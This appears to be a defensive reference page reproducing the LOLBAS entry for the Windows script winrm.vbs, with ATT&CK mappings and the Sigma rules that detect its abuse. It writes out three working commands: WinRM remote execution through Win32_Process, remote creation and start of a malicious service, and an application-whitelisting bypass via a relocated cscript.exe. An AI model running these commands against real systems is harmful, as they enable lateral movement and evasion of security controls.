Identifier / Programs / Windows
winrm.vbs
LOLBAS Execute, AWL Bypass 2 ATT&CK techniques 3 documented commands
How winrm.vbs is abused
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for winrm.vbs.
3 documented commands
Execute T1216 System Script Proxy Execution User privileges
Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985Execute T1216 System Script Proxy Execution Admin privileges
Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985AWL Bypass T1220 XSL Script Processing User privileges
Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:prettyTrips 3 Sigma rules: highPotential Defense Evasion Via Rename Of Highly Relevant Binaries by Matthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113; mediumAWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl by Julia Fomina, oscd.community; mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag
The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for winrm.vbs, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for winrm.vbs. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.